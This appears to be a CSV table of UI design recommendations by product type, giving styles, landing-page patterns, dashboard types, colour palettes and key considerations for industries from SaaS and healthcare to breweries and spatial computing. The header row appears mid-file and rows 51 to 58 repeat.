51,Logistics/Delivery,"delivery, logistics",Minimalism + Flat Design,"Dark Mode (OLED), Micro-interactions",Feature-Rich Showcase + Conversion,Real-Time Monitoring + Route Analytics,Blue (#2563EB) + Orange (tracking) + Green (delivered),Real-time tracking. Delivery scheduling. Route optimization. Driver management. Status updates. Map integration.
|
||||
52,Agriculture/Farm Tech,"agriculture, farm, tech",Organic Biophilic + Flat Design,"Minimalism, Accessible & Ethical",Feature-Rich Showcase + Trust,IoT Sensor Dashboard,Earth Green (#4A7C23) + Brown + Sky Blue,Crop monitoring. Weather data. IoT sensors. Yield tracking. Market prices. Sustainable imagery.
|
||||
53,Construction/Architecture,"architecture, construction",Minimalism + 3D & Hyperrealism,"Brutalism, Swiss Modernism 2.0",Hero-Centric Design + Feature-Rich,Project Management Dashboard,Grey (#4A4A4A) + Orange (safety) + Blueprint Blue,Project portfolio. 3D renders. Timeline. Material specs. Team collaboration. Blueprint aesthetic.
|
||||
54,Automotive/Car Dealership,"automotive, car, dealership",Motion-Driven + 3D & Hyperrealism,"Dark Mode (OLED), Glassmorphism",Hero-Centric Design + Feature-Rich,Sales Intelligence Dashboard,Brand colors + Metallic accents + Dark/Light,Vehicle showcase. 360° views. Comparison tools. Financing calculator. Test drive booking. High-quality imagery.
|
||||
55,Photography Studio,"photography, studio",Motion-Driven + Minimalism,"Aurora UI, Glassmorphism",Storytelling-Driven + Hero-Centric,N/A - Portfolio focused,Black + White + Minimal accent,Portfolio gallery. Before/after. Service packages. Booking system. Client galleries. Full-bleed imagery.
|
||||
56,Coworking Space,"coworking, space",Vibrant & Block-based + Glassmorphism,"Minimalism, Motion-Driven",Hero-Centric Design + Feature-Rich,Occupancy Dashboard,Energetic colors + Wood tones + Brand accent,Space tour. Membership plans. Booking system. Amenities. Community events. Virtual tour.
|
||||
57,Cleaning Service,"appointment, booking, cleaning, consultation, service",Soft UI Evolution + Flat Design,"Minimalism, Micro-interactions",Conversion-Optimized + Trust,Service Analytics,Fresh Blue (#00B4D8) + Clean White + Green,Service packages. Booking system. Price calculator. Before/after gallery. Reviews. Trust badges.
|
||||
58,Home Services (Plumber/Electrician),"appointment, booking, consultation, electrician, home, plumber, service, services",Flat Design + Trust & Authority,"Minimalism, Accessible & Ethical",Conversion-Optimized + Trust,Service Analytics,Trust Blue + Safety Orange + Professional grey,Service list. Emergency contact. Booking. Price transparency. Certifications. Local trust signals.
|
||||
59,Childcare/Daycare,"childcare, daycare",Claymorphism + Vibrant & Block-based,"Soft UI Evolution, Accessible & Ethical",Social Proof-Focused + Trust,Parent Dashboard,Playful pastels + Safe colors + Warm accents,Programs. Staff profiles. Safety certifications. Parent portal. Activity updates. Cheerful imagery.
|
||||
60,Senior Care/Elderly,"care, elderly, senior",Accessible & Ethical + Soft UI Evolution,"Minimalism, Neumorphism",Trust & Authority + Social Proof,Healthcare Analytics,Calm Blue + Warm neutrals + Large text,Care services. Staff qualifications. Facility tour. Family portal. Large touch targets. High contrast. Accessibility-first.
|
||||
61,Medical Clinic,"clinic, medical",Accessible & Ethical + Minimalism,"Neumorphism, Trust & Authority",Trust & Authority + Conversion,Healthcare Analytics,Medical Blue (#0077B6) + Trust White + Calm Green,Services. Doctor profiles. Online booking. Patient portal. Insurance info. HIPAA compliant. Trust signals.
|
||||
62,Pharmacy/Drug Store,"drug, pharmacy, store",Flat Design + Accessible & Ethical,"Minimalism, Trust & Authority",Conversion-Optimized + Trust,Inventory Dashboard,Pharmacy Green + Trust Blue + Clean White,Product catalog. Prescription upload. Refill reminders. Health info. Store locator. Safety certifications.
|
||||
63,Dental Practice,"dental, practice",Soft UI Evolution + Minimalism,"Accessible & Ethical, Trust & Authority",Social Proof-Focused + Conversion,Patient Analytics,Fresh Blue + White + Smile Yellow accent,Services. Dentist profiles. Before/after. Online booking. Insurance. Patient testimonials. Friendly imagery.
|
||||
64,Veterinary Clinic,"clinic, veterinary",Claymorphism + Accessible & Ethical,"Soft UI Evolution, Flat Design",Social Proof-Focused + Trust,Pet Health Dashboard,Caring Blue + Pet-friendly colors + Warm accents,Pet services. Vet profiles. Online booking. Pet portal. Emergency info. Friendly animal imagery.
|
||||
65,Florist/Plant Shop,"florist, plant, shop",Organic Biophilic + Vibrant & Block-based,"Aurora UI, Motion-Driven",Hero-Centric Design + Conversion,E-commerce Analytics,Natural Green + Floral pinks/purples + Earth tones,Product catalog. Occasion categories. Delivery scheduling. Care guides. Seasonal collections. Beautiful imagery.
|
||||
66,Bakery/Cafe,"bakery, cafe",Vibrant & Block-based + Soft UI Evolution,"Claymorphism, Motion-Driven",Hero-Centric Design + Conversion,N/A - Order focused,Warm Brown + Cream + Appetizing accents,Menu display. Online ordering. Location/hours. Catering. Seasonal specials. Appetizing photography.
|
||||
67,Coffee Shop,"coffee, shop",Minimalism + Organic Biophilic,"Soft UI Evolution, Flat Design",Hero-Centric Design + Conversion,N/A - Order focused,Coffee Brown (#6F4E37) + Cream + Warm accents,Menu. Online ordering. Loyalty program. Location. Story/origin. Cozy aesthetic.
|
||||
68,Brewery/Winery,"brewery, winery",Motion-Driven + Storytelling-Driven,"Dark Mode (OLED), Organic Biophilic",Storytelling-Driven + Hero-Centric,N/A - E-commerce focused,Deep amber/burgundy + Gold + Craft aesthetic,Product showcase. Story/heritage. Tasting notes. Events. Club membership. Artisanal imagery.
|
||||
69,Airline,"ai, airline, artificial-intelligence, automation, machine-learning, ml",Minimalism + Glassmorphism,"Motion-Driven, Accessible & Ethical",Conversion-Optimized + Feature-Rich,Operations Dashboard,Sky Blue + Brand colors + Trust accents,Flight search. Booking. Check-in. Boarding pass. Loyalty program. Route maps. Mobile-first.
|
||||
70,News/Media Platform,"content, entertainment, media, news, platform, streaming, video",Minimalism + Flat Design,"Dark Mode (OLED), Accessible & Ethical",Hero-Centric Design + Feature-Rich,Media Analytics Dashboard,Brand colors + High contrast + Category colors,Article layout. Breaking news. Categories. Search. Subscription. Mobile reading. Fast loading.
|
||||
71,Magazine/Blog,"articles, blog, content, magazine, posts, writing",Swiss Modernism 2.0 + Motion-Driven,"Minimalism, Aurora UI",Storytelling-Driven + Hero-Centric,Content Analytics,Editorial colors + Brand primary + Clean white,Article showcase. Category navigation. Author profiles. Newsletter signup. Related content. Typography-focused.
|
||||
72,Freelancer Platform,"freelancer, platform",Flat Design + Minimalism,"Vibrant & Block-based, Micro-interactions",Feature-Rich Showcase + Conversion,Marketplace Analytics,Professional Blue + Success Green + Neutral,Profile creation. Portfolio. Skill matching. Messaging. Payment. Reviews. Project management.
|
||||
73,Consulting Firm,"consulting, firm",Trust & Authority + Minimalism,"Swiss Modernism 2.0, Accessible & Ethical",Trust & Authority + Feature-Rich,N/A - Lead generation,Navy + Gold + Professional grey,Service areas. Case studies. Team profiles. Thought leadership. Contact. Professional credibility.
|
||||
74,Marketing Agency,"agency, creative, design, marketing, studio",Brutalism + Motion-Driven,"Vibrant & Block-based, Aurora UI",Storytelling-Driven + Feature-Rich,Campaign Analytics,Bold brand colors + Creative freedom,Portfolio. Case studies. Services. Team. Creative showcase. Results-focused. Bold aesthetic.
|
||||
75,Event Management,"conference, event, management, meetup, registration, ticket",Vibrant & Block-based + Motion-Driven,"Glassmorphism, Aurora UI",Hero-Centric Design + Feature-Rich,Event Analytics,Event theme colors + Excitement accents,Event showcase. Registration. Agenda. Speakers. Sponsors. Ticket sales. Countdown timer.
|
||||
76,Conference/Webinar Platform,"conference, platform, webinar",Glassmorphism + Minimalism,"Motion-Driven, Flat Design",Feature-Rich Showcase + Conversion,Attendee Analytics,Professional Blue + Video accent + Brand,Registration. Agenda. Speaker profiles. Live stream. Networking. Recording access. Virtual event features.
|
||||
77,Membership/Community,"community, membership",Vibrant & Block-based + Soft UI Evolution,"Bento Box Grid, Micro-interactions",Social Proof-Focused + Conversion,Community Analytics,Community brand colors + Engagement accents,Member benefits. Pricing tiers. Community showcase. Events. Member directory. Exclusive content.
|
||||
78,Newsletter Platform,"newsletter, platform",Minimalism + Flat Design,"Swiss Modernism 2.0, Accessible & Ethical",Minimal & Direct + Conversion,Email Analytics,Brand primary + Clean white + CTA accent,Subscribe form. Archive. About. Social proof. Sample content. Simple conversion.
|
||||
79,Digital Products/Downloads,"digital, downloads, products",Vibrant & Block-based + Motion-Driven,"Glassmorphism, Bento Box Grid",Feature-Rich Showcase + Conversion,E-commerce Analytics,Product category colors + Brand + Success green,Product showcase. Preview. Pricing. Instant delivery. License management. Customer reviews.
|
||||
80,Church/Religious Organization,"church, organization, religious",Accessible & Ethical + Soft UI Evolution,"Minimalism, Trust & Authority",Hero-Centric Design + Social Proof,N/A - Community focused,Warm Gold + Deep Purple/Blue + White,Service times. Events. Sermons. Community. Giving. Location. Welcoming imagery.
|
||||
81,Sports Team/Club,"club, sports, team",Vibrant & Block-based + Motion-Driven,"Dark Mode (OLED), 3D & Hyperrealism",Hero-Centric Design + Feature-Rich,Performance Analytics,Team colors + Energetic accents,Schedule. Roster. News. Tickets. Merchandise. Fan engagement. Action imagery.
|
||||
82,Museum/Gallery,"gallery, museum",Minimalism + Motion-Driven,"Swiss Modernism 2.0, 3D & Hyperrealism",Storytelling-Driven + Feature-Rich,Visitor Analytics,Art-appropriate neutrals + Exhibition accents,Exhibitions. Collections. Tickets. Events. Virtual tours. Educational content. Art-focused design.
|
||||
83,Theater/Cinema,"cinema, theater",Dark Mode (OLED) + Motion-Driven,"Vibrant & Block-based, Glassmorphism",Hero-Centric Design + Conversion,Booking Analytics,Dark + Spotlight accents + Gold,Showtimes. Seat selection. Trailers. Coming soon. Membership. Dramatic imagery.
|
||||
84,Language Learning App,"app, language, learning",Claymorphism + Vibrant & Block-based,"Micro-interactions, Flat Design",Feature-Rich Showcase + Social Proof,Learning Analytics,Playful colors + Progress indicators + Country flags,Lesson structure. Progress tracking. Gamification. Speaking practice. Community. Achievement badges.
|
||||
85,Coding Bootcamp,"bootcamp, coding",Dark Mode (OLED) + Minimalism,"Cyberpunk UI, Flat Design",Feature-Rich Showcase + Social Proof,Student Analytics,Code editor colors + Brand + Success green,Curriculum. Projects. Career outcomes. Alumni. Pricing. Application. Terminal aesthetic.
|
||||
86,Cybersecurity Platform,"cyber, security, platform",Cyberpunk UI + Dark Mode (OLED),"Neubrutalism, Minimal & Direct",Trust & Authority + Real-Time,Real-Time Monitoring + Heat Map,Matrix Green + Deep Black + Terminal feel,Data density. Threat visualization. Dark mode default.
|
||||
87,Developer Tool / IDE,"dev, developer, tool, ide",Dark Mode (OLED) + Minimalism,"Flat Design, Bento Box Grid",Minimal & Direct + Documentation,Real-Time Monitor + Terminal,Dark syntax theme colors + Blue focus,Keyboard shortcuts. Syntax highlighting. Fast performance.
|
||||
88,Biotech / Life Sciences,"biotech, biology, science",Glassmorphism + Clean Science,"Minimalism, Organic Biophilic",Storytelling-Driven + Research,Data-Dense + Predictive,Sterile White + DNA Blue + Life Green,Data accuracy. Cleanliness. Complex data viz.
|
||||
89,Space Tech / Aerospace,"aerospace, space, tech",Holographic / HUD + Dark Mode,"Glassmorphism, 3D & Hyperrealism",Immersive Experience + Hero,Real-Time Monitoring + 3D,Deep Space Black + Star White + Metallic,High-tech feel. Precision. Telemetry data.
|
||||
90,Architecture / Interior,"architecture, design, interior",Exaggerated Minimalism + High Imagery,"Swiss Modernism 2.0, Parallax",Portfolio Grid + Visuals,Project Management + Gallery,Monochrome + Gold Accent + High Imagery,High-res images. Typography. Space.
|
||||
91,Quantum Computing Interface,"quantum, computing, physics, qubit, future, science",Holographic / HUD + Dark Mode,"Glassmorphism, Spatial UI",Immersive/Interactive Experience,3D Spatial Data + Real-Time Monitor,Quantum Blue #00FFFF + Deep Black + Interference patterns,Visualize complexity. Qubit states. Probability clouds. High-tech trust.
|
||||
92,Biohacking / Longevity App,"biohacking, health, longevity, tracking, wellness, science",Biomimetic / Organic 2.0,"Minimalism, Dark Mode (OLED)",Data-Dense + Storytelling,Real-Time Monitor + Biological Data,Cellular Pink/Red + DNA Blue + Clean White,Personal data privacy. Scientific credibility. Biological visualizations.
|
||||
93,Autonomous Drone Fleet Manager,"drone, autonomous, fleet, aerial, logistics, robotics",HUD / Sci-Fi FUI,"Real-Time Monitor, Spatial UI",Real-Time Monitor,Geographic + Real-Time,Tactical Green #00FF00 + Alert Red + Map Dark,Real-time telemetry. 3D spatial awareness. Latency indicators. Safety alerts.
|
||||
94,Generative Art Platform,"art, generative, ai, creative, platform, gallery",Minimalism (Frame) + Gen Z Chaos,"Masonry Grid, Dark Mode",Bento Grid Showcase,Gallery / Portfolio,Neutral #F5F5F5 (Canvas) + User Content,Content is king. Fast loading. Creator attribution. Minting flow.
|
||||
95,Spatial Computing OS / App,"spatial, vr, ar, vision, os, immersive, mixed-reality",Spatial UI (VisionOS),"Glassmorphism, 3D & Hyperrealism",Immersive/Interactive Experience,Spatial Dashboard,Frosted Glass + System Colors + Depth,Gaze/Pinch interaction. Depth hierarchy. Environment awareness.
|
||||
No,Product Type,Keywords,Primary Style Recommendation,Secondary Styles,Landing Page Pattern,Dashboard Style (if applicable),Color Palette Focus,Key Considerations
|
||||
1,SaaS (General),"app, b2b, cloud, general, saas, software, subscription",Glassmorphism + Flat Design,"Soft UI Evolution, Minimalism",Hero + Features + CTA,Data-Dense + Real-Time Monitoring,Trust blue + accent contrast,Balance modern feel with clarity. Focus on CTAs.
|
||||
2,Micro SaaS,"app, b2b, cloud, indie, micro, micro-saas, niche, saas, small, software, solo, subscription",Flat Design + Vibrant & Block,"Motion-Driven, Micro-interactions",Minimal & Direct + Demo,Executive Dashboard,Vibrant primary + white space,"Keep simple, show product quickly. Speed is key."
|
||||
3,E-commerce,"buy, commerce, e, ecommerce, products, retail, sell, shop, store",Vibrant & Block-based,"Aurora UI, Motion-Driven",Feature-Rich Showcase,Sales Intelligence Dashboard,Brand primary + success green,Engagement & conversions. High visual hierarchy.
|
||||
4,E-commerce Luxury,"buy, commerce, e, ecommerce, elegant, exclusive, high-end, luxury, premium, products, retail, sell, shop, store",Liquid Glass + Glassmorphism,"3D & Hyperrealism, Aurora UI",Feature-Rich Showcase,Sales Intelligence Dashboard,Premium colors + minimal accent,Elegance & sophistication. Premium materials.
|
||||
5,Service Landing Page,"appointment, booking, consultation, conversion, landing, marketing, page, service",Hero-Centric + Trust & Authority,"Social Proof-Focused, Storytelling",Hero-Centric Design,N/A - Analytics for conversions,Brand primary + trust colors,Social proof essential. Show expertise.
|
||||
6,B2B Service,"appointment, b, b2b, booking, business, consultation, corporate, enterprise, service",Trust & Authority + Minimal,"Feature-Rich, Conversion-Optimized",Feature-Rich Showcase,Sales Intelligence Dashboard,Professional blue + neutral grey,Credibility essential. Clear ROI messaging.
|
||||
7,Financial Dashboard,"admin, analytics, dashboard, data, financial, panel",Dark Mode (OLED) + Data-Dense,"Minimalism, Accessible & Ethical",N/A - Dashboard focused,Financial Dashboard,Dark bg + red/green alerts + trust blue,"High contrast, real-time updates, accuracy paramount."
|
||||
8,Analytics Dashboard,"admin, analytics, dashboard, data, panel",Data-Dense + Heat Map & Heatmap,"Minimalism, Dark Mode (OLED)",N/A - Analytics focused,Drill-Down Analytics + Comparative,Cool→Hot gradients + neutral grey,Clarity > aesthetics. Color-coded data priority.
|
||||
9,Healthcare App,"app, clinic, health, healthcare, medical, patient",Neumorphism + Accessible & Ethical,"Soft UI Evolution, Claymorphism (for patients)",Social Proof-Focused,User Behavior Analytics,Calm blue + health green + trust,Accessibility mandatory. Calming aesthetic.
|
||||
10,Educational App,"app, course, education, educational, learning, school, training",Claymorphism + Micro-interactions,"Vibrant & Block-based, Flat Design",Storytelling-Driven,User Behavior Analytics,Playful colors + clear hierarchy,Engagement & ease of use. Age-appropriate design.
|
||||
11,Creative Agency,"agency, creative, design, marketing, studio",Brutalism + Motion-Driven,"Retro-Futurism, Storytelling-Driven",Storytelling-Driven,N/A - Portfolio focused,Bold primaries + artistic freedom,Differentiation key. Wow-factor necessary.
|
||||
12,Portfolio/Personal,"creative, personal, portfolio, projects, showcase, work",Motion-Driven + Minimalism,"Brutalism, Aurora UI",Storytelling-Driven,N/A - Personal branding,Brand primary + artistic interpretation,Showcase work. Personality shine through.
|
||||
13,Gaming,"entertainment, esports, game, gaming, play",3D & Hyperrealism + Retro-Futurism,"Motion-Driven, Vibrant & Block",Feature-Rich Showcase,N/A - Game focused,Vibrant + neon + immersive colors,Immersion priority. Performance critical.
|
||||
14,Government/Public Service,"appointment, booking, consultation, government, public, service",Accessible & Ethical + Minimalism,"Flat Design, Inclusive Design",Minimal & Direct,Executive Dashboard,Professional blue + high contrast,WCAG AAA mandatory. Trust paramount.
|
||||
15,Fintech/Crypto,"banking, blockchain, crypto, defi, finance, fintech, money, nft, payment, web3",Glassmorphism + Dark Mode (OLED),"Retro-Futurism, Motion-Driven",Conversion-Optimized,Real-Time Monitoring + Predictive,Dark tech colors + trust + vibrant accents,Security perception. Real-time data critical.
|
||||
16,Social Media App,"app, community, content, entertainment, media, network, sharing, social, streaming, users, video",Vibrant & Block-based + Motion-Driven,"Aurora UI, Micro-interactions",Feature-Rich Showcase,User Behavior Analytics,Vibrant + engagement colors,Engagement & retention. Addictive design ethics.
|
||||
17,Productivity Tool,"collaboration, productivity, project, task, tool, workflow",Flat Design + Micro-interactions,"Minimalism, Soft UI Evolution",Interactive Product Demo,Drill-Down Analytics,Clear hierarchy + functional colors,Ease of use. Speed & efficiency focus.
|
||||
18,Design System/Component Library,"component, design, library, system",Minimalism + Accessible & Ethical,"Flat Design, Zero Interface",Feature-Rich Showcase,N/A - Dev focused,Clear hierarchy + code-like structure,Consistency. Developer-first approach.
|
||||
19,AI/Chatbot Platform,"ai, artificial-intelligence, automation, chatbot, machine-learning, ml, platform",AI-Native UI + Minimalism,"Zero Interface, Glassmorphism",Interactive Product Demo,AI/ML Analytics Dashboard,Neutral + AI Purple (#6366F1),Conversational UI. Streaming text. Context awareness. Minimal chrome.
|
||||
20,NFT/Web3 Platform,"nft, platform, web",Cyberpunk UI + Glassmorphism,"Aurora UI, 3D & Hyperrealism",Feature-Rich Showcase,Crypto/Blockchain Dashboard,Dark + Neon + Gold (#FFD700),Wallet integration. Transaction feedback. Gas fees display. Dark mode essential.
|
||||
21,Creator Economy Platform,"creator, economy, platform",Vibrant & Block-based + Bento Box Grid,"Motion-Driven, Aurora UI",Social Proof-Focused,User Behavior Analytics,Vibrant + Brand colors,Creator profiles. Monetization display. Engagement metrics. Social proof.
|
||||
22,Sustainability/ESG Platform,"ai, artificial-intelligence, automation, esg, machine-learning, ml, platform, sustainability",Organic Biophilic + Minimalism,"Accessible & Ethical, Flat Design",Trust & Authority,Energy/Utilities Dashboard,Green (#228B22) + Earth tones,Carbon footprint visuals. Progress indicators. Certification badges. Eco-friendly imagery.
|
||||
23,Remote Work/Collaboration Tool,"collaboration, remote, tool, work",Soft UI Evolution + Minimalism,"Glassmorphism, Micro-interactions",Feature-Rich Showcase,Drill-Down Analytics,Calm Blue + Neutral grey,Real-time collaboration. Status indicators. Video integration. Notification management.
|
||||
24,Mental Health App,"app, health, mental",Neumorphism + Accessible & Ethical,"Claymorphism, Soft UI Evolution",Social Proof-Focused,Healthcare Analytics,Calm Pastels + Trust colors,Calming aesthetics. Privacy-first. Crisis resources. Progress tracking. Accessibility mandatory.
|
||||
25,Pet Tech App,"app, pet, tech",Claymorphism + Vibrant & Block-based,"Micro-interactions, Flat Design",Storytelling-Driven,User Behavior Analytics,Playful + Warm colors,Pet profiles. Health tracking. Playful UI. Photo galleries. Vet integration.
|
||||
26,Smart Home/IoT Dashboard,"admin, analytics, dashboard, data, home, iot, panel, smart",Glassmorphism + Dark Mode (OLED),"Minimalism, AI-Native UI",Interactive Product Demo,Real-Time Monitoring,Dark + Status indicator colors,Device status. Real-time controls. Energy monitoring. Automation rules. Quick actions.
|
||||
27,EV/Charging Ecosystem,"charging, ecosystem, ev",Minimalism + Aurora UI,"Glassmorphism, Organic Biophilic",Hero-Centric Design,Energy/Utilities Dashboard,Electric Blue (#009CD1) + Green,Charging station maps. Range estimation. Cost calculation. Environmental impact.
|
||||
28,Subscription Box Service,"appointment, booking, box, consultation, membership, plan, recurring, service, subscription",Vibrant & Block-based + Motion-Driven,"Claymorphism, Aurora UI",Feature-Rich Showcase,E-commerce Analytics,Brand + Excitement colors,Unboxing experience. Personalization quiz. Subscription management. Product reveals.
|
||||
29,Podcast Platform,"platform, podcast",Dark Mode (OLED) + Minimalism,"Motion-Driven, Vibrant & Block-based",Storytelling-Driven,Media/Entertainment Dashboard,Dark + Audio waveform accents,Audio player UX. Episode discovery. Creator tools. Analytics for podcasters.
|
||||
30,Dating App,"app, dating",Vibrant & Block-based + Motion-Driven,"Aurora UI, Glassmorphism",Social Proof-Focused,User Behavior Analytics,Warm + Romantic (Pink/Red gradients),Profile cards. Swipe interactions. Match animations. Safety features. Video chat.
|
||||
31,Micro-Credentials/Badges Platform,"badges, credentials, micro, platform",Minimalism + Flat Design,"Accessible & Ethical, Swiss Modernism 2.0",Trust & Authority,Education Dashboard,Trust Blue + Gold (#FFD700),Credential verification. Badge display. Progress tracking. Issuer trust. LinkedIn integration.
|
||||
32,Knowledge Base/Documentation,"base, documentation, knowledge",Minimalism + Accessible & Ethical,"Swiss Modernism 2.0, Flat Design",FAQ/Documentation,N/A - Documentation focused,Clean hierarchy + minimal color,Search-first. Clear navigation. Code highlighting. Version switching. Feedback system.
|
||||
33,Hyperlocal Services,"appointment, booking, consultation, hyperlocal, service, services",Minimalism + Vibrant & Block-based,"Micro-interactions, Flat Design",Conversion-Optimized,Drill-Down Analytics + Map,Location markers + Trust colors,Map integration. Service categories. Provider profiles. Booking system. Reviews.
|
||||
34,Beauty/Spa/Wellness Service,"appointment, beauty, booking, consultation, service, spa, wellness",Soft UI Evolution + Neumorphism,"Glassmorphism, Minimalism",Hero-Centric Design + Social Proof,User Behavior Analytics,Soft pastels (Pink #FFB6C1 Sage #90EE90) + Cream + Gold accents,Calming aesthetic. Booking system. Service menu. Before/after gallery. Testimonials. Relaxing imagery.
|
||||
35,Luxury/Premium Brand,"brand, elegant, exclusive, high-end, luxury, premium",Liquid Glass + Glassmorphism,"Minimalism, 3D & Hyperrealism",Storytelling-Driven + Feature-Rich,Sales Intelligence Dashboard,Black + Gold (#FFD700) + White + Minimal accent,Elegance paramount. Premium imagery. Storytelling. High-quality visuals. Exclusive feel.
|
||||
36,Restaurant/Food Service,"appointment, booking, consultation, delivery, food, menu, order, restaurant, service",Vibrant & Block-based + Motion-Driven,"Claymorphism, Flat Design",Hero-Centric Design + Conversion,N/A - Booking focused,Warm colors (Orange Red Brown) + appetizing imagery,Menu display. Online ordering. Reservation system. Food photography. Location/hours prominent.
|
||||
37,Fitness/Gym App,"app, exercise, fitness, gym, health, workout",Vibrant & Block-based + Dark Mode (OLED),"Motion-Driven, Neumorphism",Feature-Rich Showcase,User Behavior Analytics,Energetic (Orange #FF6B35 Electric Blue) + Dark bg,Progress tracking. Workout plans. Community features. Achievements. Motivational design.
|
||||
38,Real Estate/Property,"buy, estate, housing, property, real, real-estate, rent",Glassmorphism + Minimalism,"Motion-Driven, 3D & Hyperrealism",Hero-Centric Design + Feature-Rich,Sales Intelligence Dashboard,Trust Blue (#0077B6) + Gold accents + White,Property listings. Virtual tours. Map integration. Agent profiles. Mortgage calculator. High-quality imagery.
|
||||
39,Travel/Tourism Agency,"agency, booking, creative, design, flight, hotel, marketing, studio, tourism, travel, vacation",Aurora UI + Motion-Driven,"Vibrant & Block-based, Glassmorphism",Storytelling-Driven + Hero-Centric,Booking Analytics,Vibrant destination colors + Sky Blue + Warm accents,Destination showcase. Booking system. Itinerary builder. Reviews. Inspiration galleries. Mobile-first.
|
||||
40,Hotel/Hospitality,"hospitality, hotel",Liquid Glass + Minimalism,"Glassmorphism, Soft UI Evolution",Hero-Centric Design + Social Proof,Revenue Management Dashboard,Warm neutrals + Gold (#D4AF37) + Brand accent,Room booking. Amenities showcase. Location maps. Guest reviews. Seasonal pricing. Luxury imagery.
|
||||
41,Wedding/Event Planning,"conference, event, meetup, planning, registration, ticket, wedding",Soft UI Evolution + Aurora UI,"Glassmorphism, Motion-Driven",Storytelling-Driven + Social Proof,N/A - Planning focused,Soft Pink (#FFD6E0) + Gold + Cream + Sage,Portfolio gallery. Vendor directory. Planning tools. Timeline. Budget tracker. Romantic aesthetic.
|
||||
42,Legal Services,"appointment, attorney, booking, compliance, consultation, contract, law, legal, service, services",Trust & Authority + Minimalism,"Accessible & Ethical, Swiss Modernism 2.0",Trust & Authority + Minimal,Case Management Dashboard,Navy Blue (#1E3A5F) + Gold + White,Credibility paramount. Practice areas. Attorney profiles. Case results. Contact forms. Professional imagery.
|
||||
43,Insurance Platform,"insurance, platform",Trust & Authority + Flat Design,"Accessible & Ethical, Minimalism",Conversion-Optimized + Trust,Claims Analytics Dashboard,Trust Blue (#0066CC) + Green (security) + Neutral,Quote calculator. Policy comparison. Claims process. Trust signals. Clear pricing. Security badges.
|
||||
44,Banking/Traditional Finance,"banking, finance, traditional",Minimalism + Accessible & Ethical,"Trust & Authority, Dark Mode (OLED)",Trust & Authority + Feature-Rich,Financial Dashboard,Navy (#0A1628) + Trust Blue + Gold accents,Security-first. Account overview. Transaction history. Mobile banking. Accessibility critical. Trust paramount.
|
||||
45,Online Course/E-learning,"course, e, learning, online",Claymorphism + Vibrant & Block-based,"Motion-Driven, Flat Design",Feature-Rich Showcase + Social Proof,Education Dashboard,Vibrant learning colors + Progress green,Course catalog. Progress tracking. Video player. Quizzes. Certificates. Community forums. Gamification.
|
||||
46,Non-profit/Charity,"charity, non, profit",Accessible & Ethical + Organic Biophilic,"Minimalism, Storytelling-Driven",Storytelling-Driven + Trust,Donation Analytics Dashboard,Cause-related colors + Trust + Warm,Impact stories. Donation flow. Transparency reports. Volunteer signup. Event calendar. Emotional connection.
|
||||
47,Music Streaming,"music, streaming",Dark Mode (OLED) + Vibrant & Block-based,"Motion-Driven, Aurora UI",Feature-Rich Showcase,Media/Entertainment Dashboard,Dark (#121212) + Vibrant accents + Album art colors,Audio player. Playlist management. Artist pages. Personalization. Social features. Waveform visualizations.
|
||||
48,Video Streaming/OTT,"ott, streaming, video",Dark Mode (OLED) + Motion-Driven,"Glassmorphism, Vibrant & Block-based",Hero-Centric Design + Feature-Rich,Media/Entertainment Dashboard,Dark bg + Content poster colors + Brand accent,Video player. Content discovery. Watchlist. Continue watching. Personalized recommendations. Thumbnail-heavy.
|
||||
49,Job Board/Recruitment,"board, job, recruitment",Flat Design + Minimalism,"Vibrant & Block-based, Accessible & Ethical",Conversion-Optimized + Feature-Rich,HR Analytics Dashboard,Professional Blue + Success Green + Neutral,Job listings. Search/filter. Company profiles. Application tracking. Resume upload. Salary insights.
|
||||
50,Marketplace (P2P),"buyers, listings, marketplace, p, platform, sellers",Vibrant & Block-based + Flat Design,"Micro-interactions, Trust & Authority",Feature-Rich Showcase + Social Proof,E-commerce Analytics,Trust colors + Category colors + Success green,Seller/buyer profiles. Listings. Reviews/ratings. Secure payment. Messaging. Search/filter. Trust badges.
|
||||
51,Logistics/Delivery,"delivery, logistics",Minimalism + Flat Design,"Dark Mode (OLED), Micro-interactions",Feature-Rich Showcase + Conversion,Real-Time Monitoring + Route Analytics,Blue (#2563EB) + Orange (tracking) + Green (delivered),Real-time tracking. Delivery scheduling. Route optimization. Driver management. Status updates. Map integration.
|
||||
52,Agriculture/Farm Tech,"agriculture, farm, tech",Organic Biophilic + Flat Design,"Minimalism, Accessible & Ethical",Feature-Rich Showcase + Trust,IoT Sensor Dashboard,Earth Green (#4A7C23) + Brown + Sky Blue,Crop monitoring. Weather data. IoT sensors. Yield tracking. Market prices. Sustainable imagery.
|
||||
53,Construction/Architecture,"architecture, construction",Minimalism + 3D & Hyperrealism,"Brutalism, Swiss Modernism 2.0",Hero-Centric Design + Feature-Rich,Project Management Dashboard,Grey (#4A4A4A) + Orange (safety) + Blueprint Blue,Project portfolio. 3D renders. Timeline. Material specs. Team collaboration. Blueprint aesthetic.
|
||||
54,Automotive/Car Dealership,"automotive, car, dealership",Motion-Driven + 3D & Hyperrealism,"Dark Mode (OLED), Glassmorphism",Hero-Centric Design + Feature-Rich,Sales Intelligence Dashboard,Brand colors + Metallic accents + Dark/Light,Vehicle showcase. 360° views. Comparison tools. Financing calculator. Test drive booking. High-quality imagery.
|
||||
55,Photography Studio,"photography, studio",Motion-Driven + Minimalism,"Aurora UI, Glassmorphism",Storytelling-Driven + Hero-Centric,N/A - Portfolio focused,Black + White + Minimal accent,Portfolio gallery. Before/after. Service packages. Booking system. Client galleries. Full-bleed imagery.
|
||||
56,Coworking Space,"coworking, space",Vibrant & Block-based + Glassmorphism,"Minimalism, Motion-Driven",Hero-Centric Design + Feature-Rich,Occupancy Dashboard,Energetic colors + Wood tones + Brand accent,Space tour. Membership plans. Booking system. Amenities. Community events. Virtual tour.
|
||||
57,Cleaning Service,"appointment, booking, cleaning, consultation, service",Soft UI Evolution + Flat Design,"Minimalism, Micro-interactions",Conversion-Optimized + Trust,Service Analytics,Fresh Blue (#00B4D8) + Clean White + Green,Service packages. Booking system. Price calculator. Before/after gallery. Reviews. Trust badges.
|
||||
58,Home Services (Plumber/Electrician),"appointment, booking, consultation, electrician, home, plumber, service, services",Flat Design + Trust & Authority,"Minimalism, Accessible & Ethical",Conversion-Optimized + Trust,Service Analytics,Trust Blue + Safety Orange + Professional grey,Service list. Emergency contact. Booking. Price transparency. Certifications. Local trust signals.
|
||||
